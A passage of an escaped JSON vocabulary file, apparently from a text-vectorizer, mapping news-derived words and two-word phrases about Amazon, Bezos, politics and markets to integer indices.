birthplace\": 188453,\n  \"amazon deals\": 188454,\n  \"qsrs\": 188455,\n  \"tough reputation\": 188456,\n  \"shutdown deeply\": 188457,\n  \"parisa sadrzadeh\": 188458,\n  \"witness jack\": 188459,\n  \"favourable\": 188460,\n  \"stem billions\": 188461,\n  \"freely opted\": 188462,\n  \"magazine new\": 188463,\n  \"getting 789\": 188464,\n  \"ultimately decides\": 188465,\n  \"roberts amazon\": 188466,\n  \"ihs markit\": 188467,\n  \"predicto\": 188468,\n  \"avenue account\": 188469,\n  \"fail function\": 188470,\n  \"followed tech\": 188471,\n  \"true narcissists\": 188472,\n  \"charging shipper\": 188473,\n  \"ken rogoff\": 188474,\n  \"hill tv\": 188475,\n  \"story white\": 188476,\n  \"little evidence\": 188477,\n  \"amazon year\": 188478,\n  \"references israel\": 188479,\n  \"trump selection\": 188480,\n  \"smoke lingering\": 188481,\n  \"dense fog\": 188482,\n  \"ama thread\": 188483,\n  \"cutting ceremony\": 188484,\n  \"aired exchange\": 188485,\n  \"longtime post\": 188486,\n  \"margin stocks\": 188487,\n  \"pre announcements\": 188488,\n  \"security breach\": 188489,\n  \"wazoo\": 188490,\n  \"began blasting\": 188491,\n  \"2003 did\": 188492,\n  \"state department\": 188493,\n  \"teenage boys\": 188494,\n  \"strout\": 188495,\n  \"orders alex\": 188496,\n  \"shmuley boteach\": 188497,\n  \"trump describes\": 188498,\n  \"somewhat conservative\": 188499,\n  \"controllable\": 188500,\n  \"movement leaders\": 188501,\n  \"indifferent\": 188502,\n  \"lwf7i1ijpi new\": 188503,\n  \"general meeting\": 188504,\n  \"comment mackenzie\": 188505,\n  \"cia did\": 188506,\n  \"hesitate\": 188507,\n  \"tactics fall\": 188508,\n  \"payments reuters\": 188509,\n  \"wealth western\": 188510,\n  \"trump appears\": 188511,\n  \"hurt rebuilding\": 188512,\n  \"says nested\": 188513,\n  \"approaches billion\": 188514,\n  \"foodways providing\": 188515,\n  \"required amazon\": 188516,\n  \"extremely grateful\": 188517,\n  \"youtube funke\": 188518,\n  \"breathe amazon\": 188519,\n  \"feminist activists\": 188520,\n  \"williams moratorium\": 188521,\n  \"cash carried\": 188522,\n  \"counterpunch\": 188523,\n  \"memphis tenn\": 188524,\n  \"transparent way\": 188525,\n  \"plath\": 188526,\n  \"woodstock ala\": 188527,\n  \"vietor tvietor08\": 188528,\n  \"money shipping\": 188529,\n  \"theories michael\": 188530,\n  \"hire large\": 188531,\n  \"new poll\": 188532,\n  \"dominant firms\": 188533,\n  \"criticism president\": 188534,\n  \"shale industry\": 188535,\n  \"reported publisher\": 188536,\n  \"wouldn count\": 188537,\n  \"earn amazon\": 188538,\n  \"fissures appeared\": 188539,\n  \"provided billion\": 188540,\n  \"theft hastening\": 188541,\n  \"baby cows\": 188542,\n  \"kow towing\": 188543,\n  \"election according\": 188544,\n  \"french business\": 188545,\n  \"obstruct\": 188546,\n  \"nickname calling\": 188547,\n  \"activists inventors\": 188548,\n  \"vietnam chief\": 188549,\n  \"ruthless business\": 188550,\n  \"potential insurance\": 188551,\n  \"recent bankruptcies\": 188552,\n  \"small slice\": 188553,\n  \"obama facilitated\": 188554,\n  \"massive amounts\": 188555,\n  \"whitesell dropped\": 188556,\n  \"senior counselor\": 188557,\n  \"single mother\": 188558,\n  \"just great\": 188559,\n  \"daily diet\": 188560,\n  \"explained unless\": 188561,\n  \"amazon logistic\": 188562,\n  \"town park\": 188563,\n  \"business fedex\": 188564,\n  \"key position\": 188565,\n  \"business outlook\": 188566,\n  \"sales trickling\": 188567,\n  \"invests big\": 188568,\n  \"trump according\": 188569,\n  \"cue amazon\": 188570,\n  \"quickly dropped\": 188571,\n  \"islands corruption\": 188572,\n  \"authority facebook\": 188573,\n  \"way way\": 188574,\n  \"macdonald travels\": 188575,\n  \"kilo\": 188576,\n  \"cramer announced\": 188577,\n  \"calatrello\": 188578,\n  \"markets traders\": 188579,\n  \"easily exceed\": 188580,\n  \"machine jedi\": 188581,\n  \"signatory\": 188582,\n  \"leaders dump\": 188583,\n  \"shop bezos\": 188584,\n  \"political appointees\": 188585,\n  \"officer bolsonaro\": 188586,\n  \"digital profile\": 188587,\n  \"threatened amazon\": 188588,\n  \"company moves\": 188589,\n  \"thedonman1\": 188590,\n  \"suffe police\": 188591,\n  \"llc aims\": 188592,\n  \"costs resulting\": 188593,\n  \"temporary protection\": 188594,\n  \"anniversary dimmed\": 188595,\n  \"holiday promotional\": 188596,\n  \"arnett\": 188597,\n  \"program known\": 188598,\n  \"essentially accusing\": 188599,\n  \"squid\": 188600,\n  \"politicians cemented\": 188601,\n  \"companies reported\": 188602,\n  \"subscribers bring\": 188603,\n  \"plan understand\": 188604,\n  \"year event\": 188605,\n  \"clearly changed\": 188606,\n  \"wealthtrust axiom\": 188607,\n  \"alabama inmate\": 188608,\n  \"boasts plenty\": 188609,\n  \"adult balzer\": 188610,\n  \"webcast\": 188611,\n  \"perverted\": 188612,\n  \"home commerce\": 188613,\n  \"tech names\": 188614,\n  \"agency feed\": 188615,\n  \"fundamentals supporting\": 188616,\n  \"preschool amazon\": 188617,\n  \"short farmers\": 188618,\n  \"detection tries\": 188619,\n  \"antitrust situation\": 188620,\n  \"rl\": 188621,\n  \"night senior\": 188622,\n  \"sierra\": 188623,\n  \"emmys spoiler\": 188624,\n  \"information russell\": 188625,\n  \"deal beijing\": 188626,\n  \"college admissions\": 188627,\n  \"company proclaimed\": 188628,\n  \"best opening\": 188629,\n  \"nokia\": 188630,\n  \"single women\": 188631,\n  \"texas politician\": 188632,\n  \"welcome media\": 188633,\n  \"newsbuzz\": 188634,\n  \"unfairly skewed\": 188635,\n  \"secdef mattis\": 188636,\n  \"delight\": 188637,\n  \"prevention cdc\": 188638,\n  \"happened jim\": 188639,\n  \"post believes\": 188640,\n  \"reached record\": 188641,\n  \"report bob\": 188642,\n  \"computing companies\": 188643,\n  \"cap smithsonian\": 188644,\n  \"test dem\": 188645,\n  \"anderson tepper\": 188646,\n  \"deputy editorial\": 188647,\n  \"today places\": 188648,\n  \"owlprevitem showdetailsspancontent\": 188649,\n  \"know jeff\": 188650,\n  \"tiny house\": 188651,\n  \"leased dozens\": 188652,\n  \"576\": 188653,\n  \"materials hard\": 188654,\n  \"course denies\": 188655,\n  \"agreements expires\": 188656,\n  \"grave moral\": 188657,\n  \"saying think\": 188658,\n  \"industry likewise\": 188659,\n  \"rock don\": 188660,\n  \"hbo illustrate\": 188661,\n  \"underpin\": 188662,\n  \"car computer\": 188663,\n  \"mayor governor\": 188664,\n  \"dump major\": 188665,\n  \"moribund\": 188666,\n  \"contribute panic\": 188667,\n  \"orange wool\": 188668,\n  \"overpay\": 188669,\n  \"finance access\": 188670,\n  \"x3\": 188671,\n  \"consumption standards\": 188672,\n  \"bigot newspapers\": 188673,\n  \"political purposes\": 188674,\n  \"expects amazon\": 188675,\n  \"lgbt issues\": 188676,\n  \"nasdaq check\": 188677,\n  \"nondocumentary\": 188678,\n  \"crisis counselors\": 188679,\n  \"aluminum\": 188680,\n  \"liberal national\": 188681,\n  \"big picture\": 188682,\n  \"service feel\": 188683,\n  \"offline centric\": 188684,\n  \"really life\": 188685,\n  \"prices roughly\": 188686,\n  \"mail amazon\": 188687,\n  \"supporters want\": 188688,\n  \"kingdom starring\": 188689,\n  \"time particularly\": 188690,\n  \"measly\": 188691,\n  \"conservative democrat\": 188692,\n  \"wienerschnitzel\": 188693,\n  \"stride forward\": 188694,\n  \"hardware modifications\": 188695,\n  \"running afoul\": 188696,\n  \"grimly\": 188697,\n  \"superjumbo a380\": 188698,\n  \"combat\": 188699,\n  \"dna results\": 188700,\n  \"design terms\": 188701,\n  \"woodward read\": 188702,\n  \"releases proposed\": 188703,\n  \"sulllivan\": 188704,\n  \"taste seeing\": 188705,\n  \"expanded\": 188706,\n  \"bay death\": 188707,\n  \"tubi\": 188708,\n  \"expected cost\": 188709,\n  \"net resources\": 188710,\n  \"purchase just\": 188711,\n  \"issues affecting\": 188712,\n  \"min js\": 188713,\n  \"earnings helped\": 188714,\n  \"government retaliates\": 188715,\n  \"don moynihan\": 188716,\n  \"community connect\": 188717,\n  \"challenges fear\": 188718,\n  \"did google\": 188719,\n  \"ghabour\": 188720,\n  \"emails included\": 188721,\n  \"book company\": 188722,\n  \"answer users\": 188723,\n  \"logistics autonomous\": 188724,\n  \"zealand mosque\": 188725,\n  \"free competition\": 188726,\n  \"reuters pieters\": 188727,\n  \"marketfoolery host\": 188728,\n  \"officer data\": 188729,\n  \"product companies\": 188730,\n  \"taking share\": 188731,\n  \"latest economic\": 188732,\n  \"wealthy mackenzie\": 188733,\n  \"regime crackdown\": 188734,\n  \"nicked\": 188735,\n  \"judiciary advances\": 188736,\n  \"theverge\": 188737,\n  \"analytica falls\": 188738,\n  \"company blaming\": 188739,\n  \"brothers charles\": 188740,\n  \"service firm\": 188741,\n  \"largest multinational\": 188742,\n  \"potentially amazon\": 188743,\n  \"congress 960799\": 188744,\n  \"staff toil\": 188745,\n  \"okta\": 188746,\n  \"america deportation\": 188747,\n  \"justice anthony\": 188748,\n  \"center plans\": 188749,\n  \"protest\": 188750,\n  \"vine questions\": 188751,\n  \"hyung\": 188752,\n  \"prevailed right\": 188753,\n  \"700 mhz\": 188754,\n  \"sessions shakes\": 188755,\n  \"schwartzman cattle\": 188756,\n  \"britain amazon\": 188757,\n  \"amazon gain\": 188758,\n  \"000 obama\": 188759,\n  \"air mnuchin\": 188760,\n  \"futures indicating\": 188761,\n  \"effect earlier\": 188762,\n  \"lifelong green\": 188763,\n  \"real narrative\": 188764,\n  \"gop presidents\": 188765,\n  \"retailers according\": 188766,\n  \"disregard\": 188767,\n  \"nation plantation\": 188768,\n  \"eclipse 150\": 188769,\n  \"alert investigation\": 188770,\n  \"dennis alfre\": 188771,\n  \"iran labor\": 188772,\n  \"u2x n8\": 188773,\n  \"leelarmand\": 188774,\n  \"relationship particularly\": 188775,\n  \"government spokesman\": 188776,\n  \"general chaos\": 188777,\n  \"healthy debate\": 188778,\n  \"dent roku\": 188779,\n  \"somewhat different\": 188780,\n  \"8700\": 188781,\n  \"dark fiber\": 188782,\n  \"reading tweet\": 188783,\n  \"writes chris\": 188784,\n  \"google selling\": 188785,\n  \"vegas contributed\": 188786,\n  \"support raging\": 188787,\n  \"story mexican\": 188788,\n  \"plastic power\": 188789,\n  \"diminutive loan\": 188790,\n  \"day isn\": 188791,\n  \"nubai ventures\": 188792,\n  \"tense struggle\": 188793,\n  \"treatise amazon\": 188794,\n  \"positive contribution\": 188795,\n  \"india regulators\": 188796,\n  \"pymnts\": 188797,\n  \"cause confusion\": 188798,\n  \"bloomberg sinclair\": 188799,\n  \"musk chicago\": 188800,\n  \"translating\": 188801,\n  \"contributor fanh\": 188802,\n  \"abby\": 188803,\n  \"nepal nipple\": 188804,\n  \"2018 wrote\": 188805,\n  \"dysfunctional family\": 188806,\n  \"reallocate\": 188807,\n  \"consumer advocacy\": 188808,\n  \"monico\": 188809,\n  \"purchase quickly\": 188810,\n  \"forgive\": 188811,\n  \"bose\": 188812,\n  \"times expose\": 188813,\n  \"household shibabi\": 188814,\n  \"thoma bravo\": 188815,\n  \"refreshed scrutiny\": 188816,\n  \"forget david\": 188817,\n  \"overall view\": 188818,\n  \"overall goal\": 188819,\n  \"rear view\": 188820,\n  \"summit donald\": 188821,\n  \"munster ny\": 188822,\n  \"horrors bezos\": 188823,\n  \"forthcoming book\": 188824,\n  \"8739 secretary\": 188825,\n  \"year decade\": 188826,\n  \"open second\": 188827,\n  \"adding twitter\": 188828,\n  \"beauty parade\": 188829,\n  \"currently leases\": 188830,\n  \"lighting pose\": 188831,\n  \"inc_display_video_at_bottomflag\": 188832,\n  \"state shippers\": 188833,\n  \"warrant investigation\": 188834,\n  \"worth cracked\": 188835,\n  \"cp w4w\": 188836,\n  \"kamhi email\": 188837,\n  \"warren supporters\": 188838,\n  \"barn\": 188839,\n  \"swift action\": 188840,\n  \"tactical_charts status\": 188841,\n  \"bender\": 188842,\n  \"secrets wikileak\": 188843,\n  \"miami sports\": 188844,\n  \"perception direction\": 188845,\n  \"actress\": 188846,\n  \"actual read\": 188847,\n  \"know life\": 188848,\n  \"robert pritchard\": 188849,\n  \"minted bills\": 188850,\n  \"fiscal stewardship\": 188851,\n  \"controversy engulfing\": 188852,\n  \"couple intimate\": 188853,\n  \"tabloid including\": 188854,\n  \"foods market\": 188855,\n  \"related causes\": 188856,\n  \"calvarin\": 188857,\n  \"juice things\": 188858,\n  \"european citizens\": 188859,\n  \"lannisters targaryens\": 188860,\n  \"environment finally\": 188861,\n  \"drug induced\": 188862,\n  \"customer emails\": 188863,\n  \"journal read\": 188864,\n  \"political lightning\": 188865,\n  \"clinches eighth\": 188866,\n  \"way hotter\": 188867,\n  \"whitney documentary\": 188868,\n  \"democrat rep\": 188869,\n  \"concerned nonprofits\": 188870,\n  \"nws\": 188871,\n  \"including connie\": 188872,\n  \"previous trump\": 188873,\n  \"writing trumped\": 188874,\n  \"birkenhead\": 188875,\n  \"notable stories\": 188876,\n  \"cudjo\": 188877,\n  \"covering issues\": 188878,\n  \"labs failed\": 188879,\n  \"outraged supporters\": 188880,\n  \"religious authorities\": 188881,\n  \"cat_id 5438\": 188882,\n  \"mafia nyt\": 188883,\n  \"grew\": 188884,\n  \"explosion\": 188885,\n  \"harm\": 188886,\n  \"trump democrats\": 188887,\n  \"patty murray\": 188888,\n  \"longstanding allies\": 188889,\n  \"dossier\": 188890,\n  \"fscavo\": 188891,\n  \"federal conservation\": 188892,\n  \"tool provides\": 188893,\n  \"nearly month\": 188894,\n  \"calacanis inside\": 188895,\n  \"season hopefully\": 188896,\n  \"connected cars\": 188897,\n  \"similar tools\": 188898,\n  \"trump sure\": 188899,\n  \"courtroom\": 188900,\n  \"sellers amid\": 188901,\n  \"better terms\": 188902,\n  \"company acknowledging\": 188903,\n  \"letters browndailyherald\": 188904,\n  \"continued tech\": 188905,\n  \"columnist covering\": 188906,\n  \"corroboration\": 188907,\n  \"father paulo\": 188908,\n  \"karate\": 188909,\n  \"amazon 1316\": 188910,\n  \"broke records\": 188911,\n  \"country does\": 188912,\n  \"peter thiel\": 188913,\n  \"filed sec\": 188914,\n  \"odyssey\": 188915,\n  \"foreign minister\": 188916,\n  \"usps hasn\": 188917,\n  \"mexican president\": 188918,\n  \"granted authorization\": 188919,\n  \"x2x q8\": 188920,\n  \"distracted jeff\": 188921,\n  \"walsh editing\": 188922,\n  \"michael duffy\": 188923,\n  \"called blue\": 188924,\n  \"public oil\": 188925,\n  \"greenjob\": 188926,\n  \"happy rocket\": 188927,\n  \"employer portal\": 188928,\n  \"trump wars\": 188929,\n  \"hipsters\": 188930,\n  \"nasdaq nflx\": 188931,\n  \"elegant looking\": 188932,\n  \"exactly happy\": 188933,\n  \"filing bic\": 188934,\n  \"234\": 188935,\n  \"quotes reuters\": 188936,\n  \"post albeit\": 188937,\n  \"trade body\": 188938,\n  \"insider purchase\": 188939,\n  \"include worldwide\": 188940,\n  \"storefronts new\": 188941,\n  \"notorious market\": 188942,\n  \"turned typically\": 188943,\n  \"similar remarks\": 188944,\n  \"legislation requiring\": 188945,\n  \"environment modern\": 188946,\n  \"saying product\": 188947,\n  \"conservative voice\": 188948,\n  \"operate communications\": 188949,\n  \"beijing\": 188950,\n  \"kseattleweather\": 188951,\n  \"lunchtime\": 188952,\n  \"removing anti\": 188953,\n  \"shinzo abe\": 188954,\n  \"guin\": 188955,\n  \"left wing\": 188956,\n  \"signal strength\": 188957,\n  \"brazilian ambassador\": 188958,\n  \"amazon mcdonald\": 188959,\n  \"prices bring\": 188960,\n  \"temperatures\": 188961,\n  \"just leave\": 188962,\n  \"noonan cecily\": 188963,\n  \"shall understand\": 188964,\n  \"inc_lock_articleflag false\": 188965,\n  \"boxing day\": 188966,\n  \"month free\": 188967,\n  \"presidency george\": 188968,\n  \"mifflin harcourt\": 188969,\n  \"free directv\": 188970,\n  \"svcs\": 188971,\n  \"proceeding\": 188972,\n  \"xetd5fpjfz\": 188973,\n  \"subscription businesses\": 188974,\n  \"maur\\u00edcio torres\": 188975,\n  \"likewise declined\": 188976,\n  \"billions tornado\": 188977,\n  \"near 921\": 188978,\n  \"requires positive\": 188979,\n  \"instantly hired\": 188980,\n  \"tax dodging\": 188981,\n  \"consulate armed\": 188982,\n  \"hedren\": 188983,\n  \"morels airs\": 188984,\n  \"p2 pic\": 188985,\n  \"commodities terminal\": 188986,\n  \"working day\": 188987,\n  \"secure slate\": 188988,\n  \"secretive uk\": 188989,\n  \"data title\": 188990,\n  \"antitrust suits\": 188991,\n  \"tech plan\": 188992,\n  \"policy reassured\": 188993,\n  \"small size\": 188994,\n  \"included music\": 188995,\n  \"e1 a4ee\": 188996,\n  \"story democrats\": 188997,\n  \"attorney copies\": 188998,\n  \"sore spot\": 188999,\n  \"safety multitude\": 189000,\n  \"skirmishes\": 189001,\n  \"flint water\": 189002,\n  \"payments\": 189003,\n  \"california camp\": 189004,\n  \"newman topped\": 189005,\n  \"discredited measures\": 189006,\n  \"prices hit\": 189007,\n  \"khan\": 189008,\n  \"lisota sarah\": 189009,\n  \"bristow fans\": 189010,\n  \"shutdown victims\": 189011,\n  \"ledqb0gdhg spectrum\": 189012,\n  \"nationwide adjusting\": 189013,\n  \"critical tax\": 189014,\n  \"chinese warship\": 189015,\n  \"fcc did\": 189016,\n  \"candidate rep\": 189017,\n  \"club selections\": 189018,\n  \"tailwind going\": 189019,\n  \"timeframe\": 189020,\n  \"means aws\": 189021,\n  \"lena cellular\": 189022,\n  \"magnum edition\": 189023,\n  \"dominating significant\": 189024,\n  \"political books\": 189025,\n  \"plc\": 189026,\n  \"mouthpiece pompeo\": 189027,\n  \"bloomingdale foto\": 189028,\n  \"potent\": 189029,\n  \"addictive buy\": 189030,\n  \"today highly\": 189031,\n  \"work tracks\": 189032,\n  \"local locations\": 189033,\n  \"project amazon\": 189034,\n  \"look outside\": 189035,\n  \"democrat carl\": 189036,\n  \"relatives touches\": 189037,\n  \"laments\": 189038,\n  \"jos\\u00e9\": 189039,\n  \"decidedly lower\": 189040,\n  \"need pew\": 189041,\n  \"twitter tags\": 189042,\n  \"popular video\": 189043,\n  \"funds portfolio\": 189044,\n  \"religious civil\": 189045,\n  \"blanket denial\": 189046,\n  \"construed\": 189047,\n  \"za\": 189048,\n  \"trump mail\": 189049,\n  \"early industrial\": 189050,\n  \"650 src\": 189051,\n  \"share history\": 189052,\n  \"email addresses\": 189053,\n  \"wireimage\": 189054,\n  \"nullify\": 189055,\n  \"competiveness\": 189056,\n  \"fiscal 2017\": 189057,\n  \"conservative pundits\": 189058,\n  \"issue\": 189059,\n  \"pool photograph\": 189060,\n  \"eleventh\": 189061,\n  \"late 1920\": 189062,\n  \"social thought\": 189063,\n  \"unch canelo\": 189064,\n  \"glen amazon\": 189065,\n  \"europe stoltenberg\": 189066,\n  \"enraged\": 189067,\n  \"absolutely welcome\": 189068,\n  \"4hdcot4s3w\": 189069,\n  \"yorks long\": 189070,\n  \"management company\": 189071,\n  \"industry airlines\": 189072,\n  \"regimes\": 189073,\n  \"proxy contest\": 189074,\n  \"img_usrid\": 189075,\n  \"men walking\": 189076,\n  \"poirier\": 189077,\n  \"trump florida\": 189078,\n  \"experience margaret\": 189079,\n  \"suspicion aboutpeople\": 189080,\n  \"strideline\": 189081,\n  \"choi provided\": 189082,\n  \"eliminating waste\": 189083,\n  \"analyze images\": 189084,\n  \"new boyfriend\": 189085,\n  \"distinguish\": 189086,\n  \"2019 dan\": 189087,\n  \"business climate\": 189088,\n  \"administration soon\": 189089,\n  \"va injecting\": 189090,\n  \"higher fuel\": 189091,\n  \"years controlled\": 189092,\n  \"ivanka life\": 189093,\n  \"trump running\": 189094,\n  \"democratic enthusiasm\": 189095,\n  \"street divided\": 189096,\n  \"jedi bloomberg\": 189097,\n  \"agencys risk\": 189098,\n  \"mahoning county\": 189099,\n  \"year citing\": 189100,\n  \"negotiated\": 189101,\n  \"used free\": 189102,\n  \"encompasses\": 189103,\n  \"fake cancer\": 189104,\n  \"common knowledge\": 189105,\n  \"poor schools\": 189106,\n  \"controversial republican\": 189107,\n  \"albeit insignificant\": 189108,\n  \"nbr\": 189109,\n  \"added mean\": 189110,\n  \"competitive housing\": 189111,\n  \"fold amazon\": 189112,\n  \"101st street\": 189113,\n  \"dealsub\": 189114,\n  \"designated\": 189115,\n  \"star 2009\": 189116,\n  \"reports claim\": 189117,\n  \"killing meantime\": 189118,\n  \"stanley black\": 189119,\n  \"head man\": 189120,\n  \"box coated\": 189121,\n  \"cnn breaking\": 189122,\n  \"overshadowing\": 189123,\n  \"ap\\u00e9ritif\": 189124,\n  \"ahead love\": 189125,\n  \"firm paid\": 189126,\n  \"radical funny\": 189127,\n  \"2017 blessed\": 189128,\n  \"agency saying\": 189129,\n  \"inssurance\": 189130,\n  \"major health\": 189131,\n  \"mag\": 189132,\n  \"wishing\": 189133,\n  \"audience bezos\": 189134,\n  \"parents friends\": 189135,\n  \"donut right\": 189136,\n  \"income earning\": 189137,\n  \"brand relevant\": 189138,\n  \"vanderwerff\": 189139,\n  \"pape\": 189140,\n  \"facilities new\": 189141,\n  \"tabloid followed\": 189142,\n  \"britain secretary\": 189143,\n  \"supported amazon\": 189144,\n  \"based socks\": 189145,\n  \"faces discipline\": 189146,\n  \"edf senior\": 189147,\n  \"steckelberg\": 189148,\n  \"constant outrage\": 189149,\n  \"issues worse\": 189150,\n  \"s9_acss_bw_cg_amzbooks_1a1_w\": 189151,\n  \"soon forget\": 189152,\n  \"sachs bankers\": 189153,\n  \"partisan teaching\": 189154,\n  \"bebeto matthews\": 189155,\n  \"nosing\": 189156,\n  \"specifically advise\": 189157,\n  \"vaccinations\": 189158,\n  \"liberal editorial\": 189159,\n  \"boost wages\": 189160,\n  \"0900et copyright\": 189161,\n  \"purchase political\": 189162,\n  \"care produced\": 189163,\n  \"prices lately\": 189164,\n  \"amazon favor\": 189165,\n  \"celebrity drop\": 189166,\n  \"detained migrant\": 189167,\n  \"reactions dear\": 189168,\n  \"combat facebook\": 189169,\n  \"government halt\": 189170,\n  \"irreparable damage\": 189171,\n  \"densely populated\": 189172,\n  \"city waterfront\": 189173,\n  \"book title\": 189174,\n  \"insurers cover\": 189175,\n  \"extraordinary sycophancy\": 189176,\n  \"amazon davis\": 189177,\n  \"turkish intelligence\": 189178,\n  \"amateur psychoanalysts\": 189179,\n  \"man oushe\": 189180,\n  \"nafta countries\": 189181,\n  \"mastercard reach\": 189182,\n  \"issued tweets\": 189183,\n  \"kengor executive\": 189184,\n  \"formulating\": 189185,\n  \"things differently\": 189186,\n  \"science fiction\": 189187,\n  \"cuomo good\": 189188,\n  \"government sees\": 189189,\n  \"unsubstantiated adding\": 189190,\n  \"ars\": 189191,\n  \"glen brownworth\": 189192,\n  \"unlimited benefit\": 189193,\n  \"usa amazon\": 189194,\n  \"tepper copy\": 189195,\n  \"relatively disinterested\": 189196,\n  \"saw parallel\": 189197,\n  \"suspense stories\": 189198,\n  \"maitland president\": 189199,\n  \"department ofdefense\": 189200,\n  \"doesn bother\": 189201,\n  \"pay cohen\": 189202,\n  \"shiny award\": 189203,\n  \"morning empire\": 189204,\n  \"vast expansion\": 189205,\n  \"tackles america\": 189206,\n  \"loan borrowers\": 189207,\n  \"ocasio cortez\": 189208,\n  \"keating adam\": 189209,\n  \"804 649\": 189210,\n  \"trump points\": 189211,\n  \"showflashslate\": 189212,\n  \"sales event\": 189213,\n  \"busy build\": 189214,\n  \"market ahead\": 189215,\n  \"painstaking process\": 189216,\n  \"deeper dive\": 189217,\n  \"recent headlines\": 189218,\n  \"nemesis donald\": 189219,\n  \"jose bernardo\": 189220,\n  \"tougher posture\": 189221,\n  \"margarita\": 189222,\n  \"earlier holdings\": 189223,\n  \"barclay raised\": 189224,\n  \"incredibly vast\": 189225,\n  \"follow president\": 189226,\n  \"high 2018\": 189227,\n  \"hamm josie\": 189228,\n  \"propaganda machine\": 189229,\n  \"military contracts\": 189230,\n  \"kompromat\": 189231,\n  \"404 shares\": 189232,\n  \"bezos chose\": 189233,\n  \"economy appears\": 189234,\n  \"politics environment\": 189235,\n  \"class photo\": 189236,\n  \"amzn join\": 189237,\n  \"drug addiction\": 189238,\n  \"containerel\": 189239,\n  \"hasn happened\": 189240,\n  \"caribbean insight\": 189241,\n  \"bay movie\": 189242,\n  \"deposits\": 189243,\n  \"625 words\": 189244,\n  \"traderstewie status\": 189245,\n  \"smackdown hit\": 189246,\n  \"rocket ship\": 189247,\n  \"stores forces\": 189248,\n  \"kohn executive\": 189249,\n  \"secondly\": 189250,\n  \"live sketches\": 189251,\n  \"storms\": 189252,\n  \"mccauley viceland\": 189253,\n  \"burglary arrests\": 189254,\n  \"suckers daily\": 189255,\n  \"exclusively carry\": 189256,\n  \"group limited\": 189257,\n  \"wrote shaun\": 189258,\n  \"acquire esp\": 189259,\n  \"reportedly disgusted\": 189260,\n  \"visit coverage\": 189261,\n  \"invite public\": 189262,\n  \"911 calls\": 189263,\n  \"using public\": 189264,\n  \"arms control\": 189265,\n  \"late yesterday\": 189266,\n  \"apparently reference\": 189267,\n  \"video catalog\": 189268,\n  \"life sentence\": 189269,\n  \"items using\": 189270,\n  \"banding\": 189271,\n  \"voted unanimously\": 189272,\n  \"missing couple\": 189273,\n  \"wins bipartisan\": 189274,\n  \"humiliate trump\": 189275,\n  \"increasingly utilize\": 189276,\n  \"game president\": 189277,\n  \"amnesties\": 189278,\n  \"smart student\": 189279,\n  \"thing chipotle\": 189280,\n  \"read nbsptrump\": 189281,\n  \"693\": 189282,\n  \"walmart store\": 189283,\n  \"gamedev apple\": 189284,\n  \"street michael\": 189285,\n  \"refuge\": 189286,\n  \"east\": 189287,\n  \"early grave\": 189288,\n  \"scuba diving\": 189289,\n  \"essential short\": 189290,\n  \"ofan\": 189291,\n  \"amazon hatred\": 189292,\n  \"demand library\": 189293,\n  \"jag capital\": 189294,\n  \"writes bloomberg\": 189295,\n  \"second segment\": 189296,\n  \"woods affair\": 189297,\n  \"forward half\": 189298,\n  \"corporate stocks\": 189299,\n  \"berlin encounters\": 189300,\n  \"witty\": 189301,\n  \"dogtooth kino\": 189302,\n  \"suppressing positive\": 189303,\n  \"stock ownership\": 189304,\n  \"second seat\": 189305,\n  \"reliefs\": 189306,\n  \"acmi\": 189307,\n  \"greater urgency\": 189308,\n  \"chaotic west\": 189309,\n  \"customer service\": 189310,\n  \"new help\": 189311,\n  \"new client\": 189312,\n  \"dallas ore\": 189313,\n  \"good deal\": 189314,\n  \"stock undervalued\": 189315,\n  \"animals dignity\": 189316,\n  \"reed freedom\": 189317,\n  \"massive storm\": 189318,\n  \"gangs\": 189319,\n  \"shoppers probably\": 189320,\n  \"live work\": 189321,\n  \"taxpayer cash\": 189322,\n  \"required zinke\": 189323,\n  \"lumbering old\": 189324,\n  \"titled yelp\": 189325,\n  \"kaster file\": 189326,\n  \"using blockchain\": 189327,\n  \"site sheer\": 189328,\n  \"embarrassing defeat\": 189329,\n  \"new organization\": 189330,\n  \"seller agreements\": 189331,\n  \"egypt rail\": 189332,\n  \"gives ama\": 189333,\n  \"spring trump\": 189334,\n  \"media wibbitz\": 189335,\n  \"republicans professor\": 189336,\n  \"life easier\": 189337,\n  \"reserve survey\": 189338,\n  \"president fired\": 189339,\n  \"norah\": 189340,\n  \"financial documents\": 189341,\n  \"prior day\": 189342,\n  \"109\": 189343,\n  \"david brody\": 189344,\n  \"newly released\": 189345,\n  \"include prescription\": 189346,\n  \"kings county\": 189347,\n  \"loudmouth\": 189348,\n  \"596 shares\": 189349,\n  \"defense contract\": 189350,\n  \"make profit\": 189351,\n  \"joins small\": 189352,\n  \"share agenda\": 189353,\n  \"antagonist mousa\": 189354,\n  \"wealth increases\": 189355,\n  \"point bezos\": 189356,\n  \"power logistical\": 189357,\n  \"giving ck\": 189358,\n  \"scott olson\": 189359,\n  \"ignore khosrowshahi\": 189360,\n  \"hotel development\": 189361,\n  \"getting backlash\": 189362,\n  \"learning make\": 189363,\n  \"meredith corp\": 189364,\n  \"reveal pair\": 189365,\n  \"mole compounding\": 189366,\n  \"machine 195229\": 189367,\n  \"hit 050\": 189368,\n  \"biased sinclair\": 189369,\n  \"advocate american\": 189370,\n  \"surpassed apple\": 189371,\n  \"company told\": 189372,\n  \"briefing later\": 189373,\n  \"warehouse horror\": 189374,\n  \"indiewire\": 189375,\n  \"potentially making\": 189376,\n  \"preacher played\": 189377,\n  \"emporium\": 189378,\n  \"spokesman david\": 189379,\n  \"story americans\": 189380,\n  \"month pruitt\": 189381,\n  \"appears spurred\": 189382,\n  \"hortons\": 189383,\n  \"information act\": 189384,\n  \"total spend\": 189385,\n  \"senate gov\": 189386,\n  \"begin trading\": 189387,\n  \"enquirer gossip\": 189388,\n  \"self best\": 189389,\n  \"action isn\": 189390,\n  \"urge congress\": 189391,\n  \"join amazon\": 189392,\n  \"worlds\": 189393,\n  \"year jack\": 189394,\n  \"gossip site\": 189395,\n  \"various techniques\": 189396,\n  \"chickens\": 189397,\n  \"olsavsky called\": 189398,\n  \"legislative efforts\": 189399,\n  \"producer harvey\": 189400,\n  \"novel element\": 189401,\n  \"making philanthropy\": 189402,\n  \"outright reveal\": 189403,\n  \"new asylum\": 189404,\n  \"deputy jeff\": 189405,\n  \"deserving\": 189406,\n  \"stone reuters\": 189407,\n  \"increase diversity\": 189408,\n  \"axios trump\": 189409,\n  \"week outcome\": 189410,\n  \"domestic violence\": 189411,\n  \"publishes unfavorable\": 189412,\n  \"advertisement advertisement\": 189413,\n  \"perform real\": 189414,\n  \"years mnuchin\": 189415,\n  \"stock spiked\": 189416,\n  \"began requiring\": 189417,\n  \"3175 bought\": 